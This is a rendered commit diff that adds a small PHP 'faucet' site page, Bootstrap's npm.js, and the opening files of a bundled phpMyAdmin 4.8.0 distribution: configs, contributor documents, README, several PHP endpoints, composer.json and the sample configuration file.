Large diffs are not rendered by default. 
 
7 js/bootstrap.min.js 

 
Load diff
Large diffs are not rendered by default. 
 
13 js/npm.js 


@@ -0,0 +1,13 @@


 
+// This file is autogenerated via the `commonjs` Grunt task. You can require() this file in a CommonJS environment. 


 
+require('../../js/transition.js') 


 
+require('../../js/alert.js') 


 
+require('../../js/button.js') 


 
+require('../../js/carousel.js') 


 
+require('../../js/collapse.js') 


 
+require('../../js/dropdown.js') 


 
+require('../../js/modal.js') 


 
+require('../../js/tooltip.js') 


 
+require('../../js/popover.js') 


 
+require('../../js/scrollspy.js') 


 
+require('../../js/tab.js') 


 
+require('../../js/affix.js')  
 
17 page.php 


@@ -0,0 +1,17 @@


 
+<?php 


 
+include("includes/core.php"); 


 
+ 


 
+$pageID = $mysqli->real_escape_string($_GET['pid']); 


 
+if(!is_numeric($pageID)){ 


 
+	header("Location: index.php"); 


 
+	exit; 


 
+} 


 
+$pageContent = $mysqli->query("SELECT * FROM faucet_pages WHERE id = '$pageID'"); 


 
+if($pageContent->num_rows == 1){ 


 
+	$pageContent = $mysqli->query("SELECT * FROM faucet_pages WHERE id = '$pageID'")->fetch_assoc(); 


 
+	$content = $pageContent['content']; 


 
+} 


 
+ 


 
+$tpl->assign("content", $content); 


 
+$tpl->display(); 


 
+?>  
 
17 phpMyAdmin-4.8.0-all-languages/.editorconfig 


@@ -0,0 +1,17 @@


 
+# EditorConfig.org 


 
+ 


 
+root = true 


 
+ 


 
+[*] 


 
+end_of_line = lf 


 
+insert_final_newline = true 


 
+trim_trailing_whitespace = true 


 
+charset = utf-8 


 
+ 


 
+[*.{js,php,twig,phtml,json,css}] 


 
+indent_style = space 


 
+indent_size = 4 


 
+ 


 
+[{*.sql,package.json,.travis.yml}] 


 
+indent_style = space 


 
+indent_size = 2 
 
3 phpMyAdmin-4.8.0-all-languages/.eslintignore 


@@ -0,0 +1,3 @@


 
+js/vendor/ 


 
+tmp/ 


 
+vendor/ 
 
42 phpMyAdmin-4.8.0-all-languages/.eslintrc.json 


@@ -0,0 +1,42 @@


 
+{ 


 
+    "env": { 


 
+        "browser": true, 


 
+        "jquery": true 


 
+    }, 


 
+    "rules": { 


 
+        "array-bracket-spacing": "error", 


 
+        "brace-style": "error", 


 
+        "camelcase": "warn", 


 
+        "comma-style": ["error", "last"], 


 
+        "curly": "error", 


 
+        "dot-notation": "error", 


 
+        "eol-last": "error", 


 
+        "eqeqeq": "error", 


 
+        "indent": ["error", 4], 


 
+        "keyword-spacing": "error", 


 
+        "new-cap": "warn", 


 
+        "no-array-constructor": "warn", 


 
+        "no-eval": "warn", 


 
+        "no-loop-func": "warn", 


 
+        "no-mixed-spaces-and-tabs": "error", 


 
+        "no-multiple-empty-lines": "error", 


 
+        "no-new-func": "error", 


 
+        "no-new-object": "error", 


 
+        "no-param-reassign": "warn", 


 
+        "no-trailing-spaces": "error", 


 
+        "no-underscore-dangle": "warn", 


 
+        "no-unneeded-ternary": "error", 


 
+        "no-useless-escape": "warn", 


 
+        "object-curly-spacing": ["error", "always"], 


 
+        "one-var": ["error", "never"], 


 
+        "padded-blocks": ["error", "never"], 


 
+        "quotes": ["error", "single"], 


 
+        "semi": "error", 


 
+        "space-before-blocks": "error", 


 
+        "space-before-function-paren": "error", 


 
+        "space-in-parens": "error", 


 
+        "space-infix-ops": "error", 


 
+        "spaced-comment": ["error", "always"], 


 
+        "wrap-iife": "error" 


 
+    } 


 
+} 
 
 
 
 
46 phpMyAdmin-4.8.0-all-languages/CODE_OF_CONDUCT.md 





@@ -0,0 +1,46 @@


 
+# Contributor Covenant Code of Conduct 


 
+ 


 
+## Our Pledge 


 
+ 


 
+In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. 


 
+ 


 
+## Our Standards 


 
+ 


 
+Examples of behavior that contributes to creating a positive environment include: 


 
+ 


 
+* Using welcoming and inclusive language 


 
+* Being respectful of differing viewpoints and experiences 


 
+* Gracefully accepting constructive criticism 


 
+* Focusing on what is best for the community 


 
+* Showing empathy towards other community members 


 
+ 


 
+Examples of unacceptable behavior by participants include: 


 
+ 


 
+* The use of sexualized language or imagery and unwelcome sexual attention or advances 


 
+* Trolling, insulting/derogatory comments, and personal or political attacks 


 
+* Public or private harassment 


 
+* Publishing others' private information, such as a physical or electronic address, without explicit permission 


 
+* Other conduct which could reasonably be considered inappropriate in a professional setting 


 
+ 


 
+## Our Responsibilities 


 
+ 


 
+Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior. 


 
+ 


 
+Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful. 


 
+ 


 
+## Scope 


 
+ 


 
+This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community include using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers. 


 
+ 


 
+## Enforcement 


 
+ 


 
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at info@phpmyadmin.net. The project team will review and investigate all complaints, and will respond in a way that it deems appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately. 


 
+ 


 
+Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership. 


 
+ 


 
+## Attribution 


 
+ 


 
+This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 1.4, available at [http://contributor-covenant.org/version/1/4][version] 


 
+ 


 
+[homepage]: http://contributor-covenant.org 


 
+[version]: http://contributor-covenant.org/version/1/4/ 
 
 
 
 
43 phpMyAdmin-4.8.0-all-languages/CONTRIBUTING.md 





@@ -0,0 +1,43 @@


 
+# Contributing to phpMyAdmin 


 
+ 


 
+As an open source project, phpMyAdmin welcomes contributions of many forms. 


 
+ 


 
+## Bug reporting 


 
+ 


 
+We appreciate your effort to improve phpMyAdmin by submitting a bug report. Before doing so, please check the following things:  


 
+ 


 
+1. Check whether the bug you face **hasn't been already reported**. Duplicate reports takes us time, that we could be used to fix other bugs or make improvements.  


 
+2. Specify the phpMyAdmin, server, PHP, MySQL and browser information that may be helpful to fix the problem, especially exact **version numbers**.  


 
+3. If you got some error, please **describe what happened** and add error message. Reports like "I get error when I clicked on some link." are useless.  


 
+4. Provide easy steps to reproduce and if possible include your table structure (``SHOW CREATE TABLE `tbl_name```); if your problem implies specific data, attach a small export file for sample rows.  


 
+5. **Security problems** should not be reported here. See [our security page](https://www.phpmyadmin.net/security/). 


 
+Thanks for your help!  


 
+ 


 
+Please report [bugs on GitHub][1]. 


 
+ 


 
+[1]: https://github.com/phpmyadmin/phpmyadmin/issues/new 


 
+ 


 
+## Patches submission 


 
+ 


 
+Patches are welcome as [pull requests on GitHub][2].  Please include a 


 
+Signed-off-by tag in the commit message (you can do this by passing `--signoff` 


 
+parameter to Git).  


 
+ 


 
+When creating the commit on GitHub or using some other tool which does not have 


 
+direct support for this, it is the same as adding  


 
+`Signed-off-by: Your name <email@example.com>` 


 
+as the last line of the commit message. 


 
+ 


 
+Note that by submitting patches with the Signed-off-by tag, you are giving 


 
+permission to license the patch as GPLv2-or-later.  See [the DCO file][3] for 


 
+details. 


 
+ 


 
+ 


 
+[2]: https://github.com/phpmyadmin/phpmyadmin/pulls 


 
+[3]: https://github.com/phpmyadmin/phpmyadmin/blob/master/DCO 


 
+ 


 
+## More information 


 
+ 


 
+You can find more information on our website: 


 
+ 


 
+https://www.phpmyadmin.net/contribute/ 
 
336 phpMyAdmin-4.8.0-all-languages/ChangeLog 

 
Load diff
Large diffs are not rendered by default. 
 
44 phpMyAdmin-4.8.0-all-languages/DCO 


@@ -0,0 +1,44 @@


 
+If you would like to make a contribution to the phpMyAdmin Project, please 


 
+certify to the following: 


 
+*** 


 
+phpMyAdmin Developer's Certificate of Origin. Version 1.0 


 
+ 


 
+By making a contribution to this project, I certify that: 


 
+ 


 
+(a) The contribution was created in whole or in part by me and I have the 


 
+    right to submit it under the license of "GNU General Public License or 


 
+    any later version" ("GPLv2-or-later"); or 


 
+ 


 
+(b) The contribution is based upon previous work that, to the best of my 


 
+    knowledge, is covered under an appropriate open source license and I have 


 
+    the right under that license to submit that work with modifications, 


 
+    whether created in whole or in part by me, under GPLv2-or-later; or 


 
+ 


 
+(c) The contribution was provided directly to me by some other person who 


 
+    certified (a) or (b) and I have not modified it. 


 
+ 


 
+(d) I understand and agree that this project and the contribution are public 


 
+    and that a record of the contribution (including all metadata and 


 
+    personal information I submit with it, including my sign-off) is 


 
+    maintained indefinitely and may be redistributed consistent with 


 
+    phpMyAdmin's policies and the requirements of the GPLv2-or-later where 


 
+    they are relevant. 


 
+ 


 
+(e) I am granting this work to this project under the terms of the 


 
+    GPLv2-or-later. 


 
+ 


 
+    https://www.gnu.org/licenses/gpl-2.0.html 


 
+ 


 
+*** 


 
+*** 


 
+And please confirm your certification to the above by adding the following 


 
+line to your patch: 


 
+ 


 
+	Signed-off-by: Jane Developer <jane@example.org> 


 
+ 


 
+using your real name (sorry, no pseudonyms or anonymous contributions). 


 
+ 


 
+If you are a developer who is authorized to contribute to phpMyAdmin on 


 
+behalf of your employer, then please use your corporate email address in the 


 
+Signed-off-by tag.  If not, then please use a personal email address. 


 
+ 
 
339 phpMyAdmin-4.8.0-all-languages/LICENSE 

 
Load diff
Large diffs are not rendered by default. 
 
52 phpMyAdmin-4.8.0-all-languages/README 


@@ -0,0 +1,52 @@


 
+phpMyAdmin - Readme 


 
+=================== 


 
+ 


 
+Version 4.8.0 


 
+ 


 
+A web interface for MySQL and MariaDB. 


 
+ 


 
+https://www.phpmyadmin.net/ 


 
+ 


 
+Summary 


 
+------- 


 
+ 


 
+phpMyAdmin is intended to handle the administration of MySQL over the web. 


 
+For a summary of features, list of requirements, and installation instructions, 


 
+please see the documentation in the ./doc/ folder or at https://docs.phpmyadmin.net/ 


 
+ 


 
+Copyright 


 
+--------- 


 
+ 


 
+Copyright © 1998 onwards -- the phpMyAdmin team 


 
+ 


 
+Certain libraries are copyrighted by their respective authors; 


 
+see the full copyright list for details. 


 
+ 


 
+For full copyright information, please see ./doc/copyright.rst 


 
+ 


 
+License 


 
+------- 


 
+ 


 
+This program is free software; you can redistribute it and/or modify it under 


 
+the terms of the GNU General Public License version 2, as published by the 


 
+Free Software Foundation. 


 
+ 


 
+This program is distributed in the hope that it will be useful, but WITHOUT 


 
+ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS 


 
+FOR A PARTICULAR PURPOSE.  See the GNU General Public License for more 


 
+details. 


 
+ 


 
+You should have received a copy of the GNU General Public License 


 
+along with this program.  If not, see <https://www.gnu.org/licenses/>. 


 
+ 


 
+Licensing of current contributions 


 
+---------------------------------- 


 
+ 


 
+Beginning on 2013-12-01, new contributions to this codebase are all licensed 


 
+under terms compatible with GPLv2-or-later.  phpMyAdmin is currently 


 
+transitioning older code to GPLv2-or-later, but work is not yet complete. 


 
+ 


 
+Enjoy! 


 
+------ 


 
+ 


 
+The phpMyAdmin team 
 
1 phpMyAdmin-4.8.0-all-languages/RELEASE-DATE-4.8.0 


@@ -0,0 +1 @@


 
+Sat Apr  7 14:53:36 UTC 2018 
 
51 phpMyAdmin-4.8.0-all-languages/ajax.php 


@@ -0,0 +1,51 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Generic AJAX endpoint for getting information about database 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\Util; 


 
+use PhpMyAdmin\Core; 


 
+ 


 
+$_GET['ajax_request'] = 'true'; 


 
+ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+$response = Response::getInstance(); 


 
+$response->setAJAX(true); 


 
+ 


 
+if (empty($_POST['type'])) { 


 
+    Core::fatalError(__('Bad type!')); 


 
+} 


 
+ 


 
+switch ($_POST['type']) { 


 
+    case 'list-databases': 


 
+        $response->addJSON('databases', $GLOBALS['dblist']->databases); 


 
+        break; 


 
+    case 'list-tables': 


 
+        Util::checkParameters(array('db'), true); 


 
+        $response->addJSON('tables', $GLOBALS['dbi']->getTables($_REQUEST['db'])); 


 
+        break; 


 
+    case 'list-columns': 


 
+        Util::checkParameters(array('db', 'table'), true); 


 
+        $response->addJSON('columns', $GLOBALS['dbi']->getColumnNames($_REQUEST['db'], $_REQUEST['table'])); 


 
+        break; 


 
+    case 'config-get': 


 
+        Util::checkParameters(array('key'), true); 


 
+        $response->addJSON('value', $GLOBALS['PMA_Config']->get($_REQUEST['key'])); 


 
+        break; 


 
+    case 'config-set': 


 
+        Util::checkParameters(array('key', 'value'), true); 


 
+        $result = $GLOBALS['PMA_Config']->setUserValue(null, $_REQUEST['key'], json_decode($_REQUEST['value'])); 


 
+        if ($result !== true) { 


 
+            $response = Response::getInstance(); 


 
+            $response->setRequestStatus(false); 


 
+            $response->addJSON('message', $result); 


 
+        } 


 
+        break; 


 
+    default: 


 
+        Core::fatalError(__('Bad type!')); 


 
+} 
 
74 phpMyAdmin-4.8.0-all-languages/browse_foreigners.php 


@@ -0,0 +1,74 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * display selection for relational field values 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+use PhpMyAdmin\BrowseForeigners; 


 
+use PhpMyAdmin\Relation; 


 
+use PhpMyAdmin\Response; 


 
+use PhpMyAdmin\Util; 


 
+ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+/** 


 
+ * Sets globals from $_REQUEST 


 
+ */ 


 
+$request_params = array( 


 
+    'data', 


 
+    'field' 


 
+); 


 
+ 


 
+foreach ($request_params as $one_request_param) { 


 
+    if (isset($_REQUEST[$one_request_param])) { 


 
+        $GLOBALS[$one_request_param] = $_REQUEST[$one_request_param]; 


 
+    } 


 
+} 


 
+ 


 
+Util::checkParameters(array('db', 'table', 'field')); 


 
+ 


 
+$response = Response::getInstance(); 


 
+$response->getFooter()->setMinimal(); 


 
+$header = $response->getHeader(); 


 
+$header->disableMenuAndConsole(); 


 
+$header->setBodyId('body_browse_foreigners'); 


 
+ 


 
+$relation = new Relation(); 


 
+ 


 
+/** 


 
+ * Displays the frame 


 
+ */ 


 
+$foreigners = $relation->getForeigners($db, $table); 


 
+$browseForeigners = new BrowseForeigners( 


 
+    $GLOBALS['cfg']['LimitChars'], 


 
+    $GLOBALS['cfg']['MaxRows'], 


 
+    $GLOBALS['cfg']['RepeatCells'], 


 
+    $GLOBALS['cfg']['ShowAll'], 


 
+    $GLOBALS['pmaThemeImage'] 


 
+); 


 
+$foreign_limit = $browseForeigners->getForeignLimit( 


 
+    isset($_REQUEST['foreign_showAll']) ? $_REQUEST['foreign_showAll'] : null 


 
+); 


 
+ 


 
+$foreignData = $relation->getForeignData( 


 
+    $foreigners, $_REQUEST['field'], true, 


 
+    isset($_REQUEST['foreign_filter']) 


 
+    ? $_REQUEST['foreign_filter'] 


 
+    : '', 


 
+    isset($foreign_limit) ? $foreign_limit : null, 


 
+    true // for getting value in $foreignData['the_total'] 


 
+); 


 
+ 


 
+// HTML output 


 
+$html = $browseForeigners->getHtmlForRelationalFieldSelection( 


 
+    $db, 


 
+    $table, 


 
+    $_REQUEST['field'], 


 
+    $foreignData, 


 
+    isset($fieldkey) ? $fieldkey : null, 


 
+    isset($data) ? $data : null 


 
+); 


 
+ 


 
+$response->addHtml($html); 
 
117 phpMyAdmin-4.8.0-all-languages/changelog.php 


@@ -0,0 +1,117 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Simple script to set correct charset for changelog 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+use PhpMyAdmin\Response; 


 
+ 


 
+/** 


 
+ * Gets core libraries and defines some variables 


 
+ */ 


 
+require 'libraries/common.inc.php'; 


 
+ 


 
+$response = Response::getInstance(); 


 
+$response->disable(); 


 
+$response->getHeader()->sendHttpHeaders(); 


 
+ 


 
+$filename = CHANGELOG_FILE; 


 
+ 


 
+/** 


 
+ * Read changelog. 


 
+ */ 


 
+// Check if the file is available, some distributions remove these. 


 
+if (@is_readable($filename)) { 


 
+ 


 
+    // Test if the if is in a compressed format 


 
+    if (substr($filename, -3) == '.gz') { 


 
+        ob_start(); 


 
+        readgzfile($filename); 


 
+        $changelog = ob_get_contents(); 


 
+        ob_end_clean(); 


 
+    } else { 


 
+        $changelog = file_get_contents($filename); 


 
+    } 


 
+} else { 


 
+    printf( 


 
+        __( 


 
+            'The %s file is not available on this system, please visit ' . 


 
+            '%s for more information.' 


 
+        ), 


 
+        $filename, 


 
+        '<a href="https://www.phpmyadmin.net/">phpmyadmin.net</a>' 


 
+    ); 


 
+    exit; 


 
+} 


 
+ 


 
+/** 


 
+ * Whole changelog in variable. 


 
+ */ 


 
+$changelog = htmlspecialchars($changelog); 


 
+ 


 
+$github_url = 'https://github.com/phpmyadmin/phpmyadmin/'; 


 
+$faq_url = 'https://docs.phpmyadmin.net/en/latest/faq.html'; 


 
+ 


 
+$replaces = array( 


 
+    '@(https?://[./a-zA-Z0-9.-_-]*[/a-zA-Z0-9_])@' 


 
+    => '<a href="url.php?url=\\1">\\1</a>', 


 
+ 


 
+    // mail address 


 
+    '/([0-9]{4}-[0-9]{2}-[0-9]{2}) (.+[^ ]) +&lt;(.*@.*)&gt;/i' 


 
+    => '\\1 <a href="mailto:\\3">\\2</a>', 


 
+ 


 
+    // FAQ entries 


 
+    '/FAQ ([0-9]+)\.([0-9a-z]+)/i' 


 
+    => '<a href="url.php?url=' . $faq_url . '#faq\\1-\\2">FAQ \\1.\\2</a>', 


 
+ 


 
+    // GitHub issues 


 
+    '/issue\s*#?([0-9]{4,5}) /i' 


 
+    => '<a href="url.php?url=' . $github_url . 'issues/\\1">issue #\\1</a> ', 


 
+ 


 
+    // CVE/CAN entries 


 
+    '/((CAN|CVE)-[0-9]+-[0-9]+)/' 


 
+    => '<a href="url.php?url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=\\1">\\1</a>', 


 
+ 


 
+    // PMASAentries 


 
+    '/(PMASA-[0-9]+-[0-9]+)/' 


 
+    => '<a href="url.php?url=https://www.phpmyadmin.net/security/\\1/">\\1</a>', 


 
+ 


 
+    // Highlight releases (with links) 


 
+    '/([0-9]+)\.([0-9]+)\.([0-9]+)\.0 (\([0-9-]+\))/' 


 
+    => '<a name="\\1_\\2_\\3"></a>' 


 
+        . '<a href="url.php?url=' . $github_url . 'commits/RELEASE_\\1_\\2_\\3">' 


 
+        . '\\1.\\2.\\3.0 \\4</a>', 


 
+    '/([0-9]+)\.([0-9]+)\.([0-9]+)\.([1-9][0-9]*) (\([0-9-]+\))/' 


 
+    => '<a name="\\1_\\2_\\3_\\4"></a>' 


 
+        . '<a href="url.php?url=' . $github_url . 'commits/RELEASE_\\1_\\2_\\3_\\4">' 


 
+        . '\\1.\\2.\\3.\\4 \\5</a>', 


 
+ 


 
+    // Highlight releases (not linkable) 


 
+    '/(    ### )(.*)/' 


 
+    => '\\1<b>\\2</b>', 


 
+ 


 
+    // Links target and rel 


 
+    '/a href="/' => 'a target="_blank" rel="noopener noreferrer" href="' 


 
+ 


 
+); 


 
+ 


 
+header('Content-type: text/html; charset=utf-8'); 


 
+?> 


 
+<!DOCTYPE HTML> 


 
+<html lang="en" dir="ltr"> 


 
+<head> 


 
+    <link rel="icon" href="favicon.ico" type="image/x-icon" /> 


 
+    <link rel="shortcut icon" href="favicon.ico" type="image/x-icon" /> 


 
+    <title>phpMyAdmin - ChangeLog</title> 


 
+    <meta charset="utf-8" /> 


 
+</head> 


 
+<body> 


 
+<h1>phpMyAdmin - ChangeLog</h1> 


 
+<?php 


 
+echo '<pre>'; 


 
+echo preg_replace(array_keys($replaces), $replaces, $changelog); 


 
+echo '</pre>'; 


 
+?> 


 
+</body> 


 
+</html> 
 
36 phpMyAdmin-4.8.0-all-languages/chk_rel.php 


@@ -0,0 +1,36 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * Displays status of phpMyAdmin configuration storage 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+use PhpMyAdmin\Relation; 


 
+use PhpMyAdmin\Response; 


 
+ 


 
+require_once 'libraries/common.inc.php'; 


 
+ 


 
+$relation = new Relation(); 


 
+ 


 
+// If request for creating the pmadb 


 
+if (isset($_REQUEST['create_pmadb'])) { 


 
+    if ($relation->createPmaDatabase()) { 


 
+        $relation->fixPmaTables('phpmyadmin'); 


 
+    } 


 
+} 


 
+ 


 
+// If request for creating all PMA tables. 


 
+if (isset($_REQUEST['fixall_pmadb'])) { 


 
+    $relation->fixPmaTables($GLOBALS['db']); 


 
+} 


 
+ 


 
+$cfgRelation = $relation->getRelationsParam(); 


 
+// If request for creating missing PMA tables. 


 
+if (isset($_REQUEST['fix_pmadb'])) { 


 
+    $relation->fixPmaTables($cfgRelation['db']); 


 
+} 


 
+ 


 
+$response = Response::getInstance(); 


 
+$response->addHTML( 


 
+    $relation->getRelationsParamDiagnostic($cfgRelation) 


 
+); 
 
97 phpMyAdmin-4.8.0-all-languages/composer.json 


@@ -0,0 +1,97 @@


 
+{ 


 
+    "name": "phpmyadmin/phpmyadmin", 


 
+    "type": "project", 


 
+    "description": "MySQL web administration tool", 


 
+    "keywords": ["phpmyadmin","mysql","web"], 


 
+    "homepage": "https://www.phpmyadmin.net/", 


 
+    "support": { 


 
+        "forum": "https://www.phpmyadmin.net/support/", 


 
+        "issues": "https://github.com/phpmyadmin/phpmyadmin/issues", 


 
+        "wiki": "https://wiki.phpmyadmin.net/", 


 
+        "docs": "https://docs.phpmyadmin.net/", 


 
+        "source": "https://github.com/phpmyadmin/phpmyadmin" 


 
+    }, 


 
+    "license": "GPL-2.0-only", 


 
+    "authors": [ 


 
+        { 


 
+            "name": "The phpMyAdmin Team", 


 
+            "email": "developers@phpmyadmin.net", 


 
+            "homepage": "https://www.phpmyadmin.net/team/" 


 
+        } 


 
+    ], 


 
+    "non-feature-branches": ["RELEASE_.*"], 


 
+    "autoload": { 


 
+        "psr-4": { 


 
+            "PhpMyAdmin\\": "libraries/classes", 


 
+            "PhpMyAdmin\\Setup\\": "setup/lib" 


 
+        } 


 
+    }, 


 
+    "autoload-dev": { 


 
+        "psr-4": { 


 
+            "PhpMyAdmin\\Tests\\": "test/classes", 


 
+            "PhpMyAdmin\\Tests\\Selenium\\": "test/selenium/" 


 
+        } 


 
+    }, 


 
+    "repositories": [ 


 
+        { 


 
+            "type": "composer", 


 
+            "url": "https://www.phpmyadmin.net" 


 
+        } 


 
+    ], 


 
+    "require": { 


 
+        "php": ">=5.5.0", 


 
+        "ext-mysqli": "*", 


 
+        "ext-xml": "*", 


 
+        "ext-pcre": "*", 


 
+        "ext-json": "*", 


 
+        "ext-ctype": "*", 


 
+        "ext-hash": "*", 


 
+        "phpmyadmin/sql-parser": "^4.2.3", 


 
+        "phpmyadmin/motranslator": "^4.0", 


 
+        "phpmyadmin/shapefile": "^2.0", 


 
+        "phpseclib/phpseclib": "^2.0", 


 
+        "google/recaptcha": "^1.1", 


 
+        "psr/container": "^1.0", 


 
+        "twig/twig": "^1.34", 


 
+        "twig/extensions": "~1.5.1", 


 
+        "symfony/expression-language": "^3.2 || ^2.8", 


 
+        "symfony/polyfill-mbstring": "^1.3" 


 
+    }, 


 
+    "conflict": { 


 
+        "phpseclib/phpseclib": "2.0.8", 


 
+        "tecnickcom/tcpdf": "<6.2", 


 
+        "pragmarx/google2fa": "<3.0.1", 


 
+        "bacon/bacon-qr-code": "<1.0", 


 
+        "samyoul/u2f-php-server": "<1.1" 


 
+    }, 


 
+    "suggest": { 


 
+        "ext-openssl": "Cookie encryption", 


 
+        "ext-curl": "Updates checking", 


 
+        "ext-opcache": "Better performance", 


 
+        "ext-zlib": "For gz import and export", 


 
+        "ext-bz2": "For bzip2 import and export", 


 
+        "ext-zip": "For zip import and export", 


 
+        "ext-gd2": "For image transformations", 


 
+        "ext-mbstring": "For best performance", 


 
+        "tecnickcom/tcpdf": "For PDF support", 


 
+        "pragmarx/google2fa": "For 2FA authentication", 


 
+        "bacon/bacon-qr-code": "For 2FA authentication", 


 
+        "samyoul/u2f-php-server": "For FIDO U2F authentication" 


 
+    }, 


 
+    "require-dev": { 


 
+        "phpunit/phpunit": "^4.8.36 || ^5.7", 


 
+        "codacy/coverage": "^1.3.0", 


 
+        "phpunit/phpunit-selenium": "~1.2 || ^3.0", 


 
+        "squizlabs/php_codesniffer": "^3.0", 


 
+        "tecnickcom/tcpdf": "^6.2", 


 
+        "pragmarx/google2fa": "^3.0", 


 
+        "bacon/bacon-qr-code": "^1.0", 


 
+        "samyoul/u2f-php-server": "^1.1", 


 
+        "phpmyadmin/coding-standard": "^0.3" 


 
+    }, 


 
+    "extra": { 


 
+        "branch-alias": { 


 
+            "dev-master": "4.8.x-dev" 


 
+        } 


 
+    } 


 
+} 
 
2,603 phpMyAdmin-4.8.0-all-languages/composer.lock 

 
Load diff
Large diffs are not rendered by default. 
 
154 phpMyAdmin-4.8.0-all-languages/config.sample.inc.php 


@@ -0,0 +1,154 @@


 
+<?php 


 
+/* vim: set expandtab sw=4 ts=4 sts=4: */ 


 
+/** 


 
+ * phpMyAdmin sample configuration, you can use it as base for 


 
+ * manual configuration. For easier setup you can use setup/ 


 
+ * 


 
+ * All directives are explained in documentation in the doc/ folder 


 
+ * or at <https://docs.phpmyadmin.net/>. 


 
+ * 


 
+ * @package PhpMyAdmin 


 
+ */ 


 
+ 


 
+/** 


 
+ * This is needed for cookie based authentication to encrypt password in 


 
+ * cookie. Needs to be 32 chars long. 


 
+ */ 


 
+$cfg['blowfish_secret'] = ''; /* YOU MUST FILL IN THIS FOR COOKIE AUTH! */ 


 
+ 


 
+/** 


 
+ * Servers configuration 


 
+ */ 


 
+$i = 0; 


 
+ 


 
+/** 


 
+ * First server 


 
+ */ 


 
+$i++; 


 
+/* Authentication type */ 


 
+$cfg['Servers'][$i]['auth_type'] = 'cookie'; 


 
+/* Server parameters */ 


 
+$cfg['Servers'][$i]['host'] = 'localhost'; 


 
+$cfg['Servers'][$i]['compress'] = false; 


 
+$cfg['Servers'][$i]['AllowNoPassword'] = false; 


 
+ 


 
+/** 


 
+ * phpMyAdmin configuration storage settings. 


 
+ */ 


 
+ 


 
+/* User used to manipulate with storage */ 


 
+// $cfg['Servers'][$i]['controlhost'] = ''; 


 
+// $cfg['Servers'][$i]['controlport'] = ''; 


 
+// $cfg['Servers'][$i]['controluser'] = 'pma'; 


 
+// $cfg['Servers'][$i]['controlpass'] = 'pmapass'; 


 
+ 


 
+/* Storage database and tables */ 


 
+// $cfg['Servers'][$i]['pmadb'] = 'phpmyadmin'; 


 
+// $cfg['Servers'][$i]['bookmarktable'] = 'pma__bookmark'; 


 
+// $cfg['Servers'][$i]['relation'] = 'pma__relation'; 


 
+// $cfg['Servers'][$i]['table_info'] = 'pma__table_info'; 


 
+// $cfg['Servers'][$i]['table_coords'] = 'pma__table_coords'; 


 
+// $cfg['Servers'][$i]['pdf_pages'] = 'pma__pdf_pages'; 


 
+// $cfg['Servers'][$i]['column_info'] = 'pma__column_info'; 


 
+// $cfg['Servers'][$i]['history'] = 'pma__history'; 


 
+// $cfg['Servers'][$i]['table_uiprefs'] = 'pma__table_uiprefs'; 


 
+// $cfg['Servers'][$i]['tracking'] = 'pma__tracking'; 


 
+// $cfg['Servers'][$i]['userconfig'] = 'pma__userconfig'; 


 
+// $cfg['Servers'][$i]['recent'] = 'pma__recent'; 


 
+// $cfg['Servers'][$i]['favorite'] = 'pma__favorite'; 


 
+// $cfg['Servers'][$i]['users'] = 'pma__users'; 


 
+// $cfg['Servers'][$i]['usergroups'] = 'pma__usergroups'; 


 
+// $cfg['Servers'][$i]['navigationhiding'] = 'pma__navigationhiding'; 


 
+// $cfg['Servers'][$i]['savedsearches'] = 'pma__savedsearches'; 


 
+// $cfg['Servers'][$i]['central_columns'] = 'pma__central_columns'; 


 
+// $cfg['Servers'][$i]['designer_settings'] = 'pma__designer_settings'; 


 
+// $cfg['Servers'][$i]['export_templates'] = 'pma__export_templates'; 


 
+ 


 
+/** 


 
+ * End of servers configuration 


 
+ */ 


 
+ 


 
+/** 


 
+ * Directories for saving/loading files from server 


 
+ */ 


 
+$cfg['UploadDir'] = ''; 


 
+$cfg['SaveDir'] = ''; 


 
+ 


 
+/** 


 
+ * Whether to display icons or text or both icons and text in table row 


 
+ * action segment. Value can be either of 'icons', 'text' or 'both'. 


 
+ * default = 'both' 


 
+ */ 


 
+//$cfg['RowActionType'] = 'icons'; 


 
+ 


 
+/** 


 
+ * Defines whether a user should be displayed a "show all (records)" 


 
+ * button in browse mode or not. 


 
+ * default = false 


 
+ */ 


 
+//$cfg['ShowAll'] = true; 


 
+ 


 
+/** 


 
+ * Number of rows displayed when browsing a result set. If the result 


 
+ * set contains more rows, "Previous" and "Next". 


 
+ * Possible values: 25, 50, 100, 250, 500 


 
+ * default = 25 


 
+ */ 


 
+//$cfg['MaxRows'] = 50; 


 
+ 


 
+/** 


 
+ * Disallow editing of binary fields 


 
+ * valid values are: 


 
+ *   false    allow editing 


 
+ *   'blob'   allow editing except for BLOB fields 


 
